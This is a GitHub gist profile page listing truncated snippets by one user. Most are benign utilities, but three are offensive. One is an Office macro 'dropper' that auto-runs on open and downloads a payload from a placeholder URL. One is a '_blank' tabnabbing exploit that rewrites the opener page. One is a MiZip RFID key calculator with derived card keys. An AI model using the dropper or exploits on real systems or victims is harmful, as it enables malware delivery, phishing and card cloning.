Skip to content

Instantly share code, notes, and snippets.

View y0no's full-sized avatar

y0no y0no

View GitHub Profile
import requests
from pathlib import Path
base_url = 'https://downloads.cisecurity.org'
download_dir = Path.cwd() / 'CIS'
def download():
resp = requests.get(base_url + '/technology')
if resp.status_code != 200:
return

Keybase proof

I hereby claim:

  • I am y0no on github.
  • I am y0no (https://keybase.io/y0no) on keybase.
  • I have a public key ASDI8dOsl8SAKw5i10YPW1wfd7GwUrz38J-XtEQbgW-u0wo

To claim this, I am signing this object:

@y0no
y0no / mizip_calc.py
Created July 5, 2016 10:09
Mizip keys calculator
#!/usr/bin/env python
# This script is an implementation of lua code written by Iceman:
# https://github.com/iceman1001/proxmark3/blob/master/client/scripts/calc_mizip.lua
# Thanks to him!
import sys
xortable = (
('001', '09125a2589e5', 'F12C8453D821'),
('002', 'AB75C937922F', '73E799FE3241'),
@y0no
y0no / exploit.html
Created May 5, 2016 16:20
_blank exploit
Hey welcome!
<script>
window.opener.location = 'https://synhack.fr';
</script>
@y0no
y0no / VBS macro dropper
Created February 19, 2016 09:28
A simple dropper used with Office macro
Sub AutoOpen()
Auto_Open
End Sub
Sub Auto_Open()
payloadURL = "<Download URL>"
Dim req: Set req = CreateObject("Microsoft.XMLHTTP")
Dim payloadStream: Set payloadStream = CreateObject("Adodb.Stream")
req.Open "GET", payloadURL, False
req.Send
@y0no
y0no / gist:db7ee9dda902c0a28d90
Last active January 30, 2019 10:03
Mailing PJLRenseignement
{
"cells": [
{
"cell_type": "code",
"execution_count": 1,
"metadata": {
"collapsed": false
},
"outputs": [
{
@y0no
y0no / gist:fa395539d5342d6ba12b
Created December 16, 2014 21:37
i3blocks volume control with pamixer
STEP="5"
volume() {
pamixer --get-volume
}
case $BLOCK_BUTTON in
3) pamixer --toggle-mute ;; # right click, mute/unmute
4) pamixer --increase ${STEP} ;; # scroll up, increase
5) pamixer --decrease ${STEP} ;; # scroll down, decrease
@y0no
y0no / gist:4199cc4ad40153897a1f
Created June 9, 2014 13:29
Modify AST line order
{
"metadata": {
"name": "",
"signature": "sha256:4d284779bfca916c578238b9e9740b6a57238e9d3cd47386966ec7b613577c67"
},
"nbformat": 3,
"nbformat_minor": 0,
"worksheets": [
{
"cells": [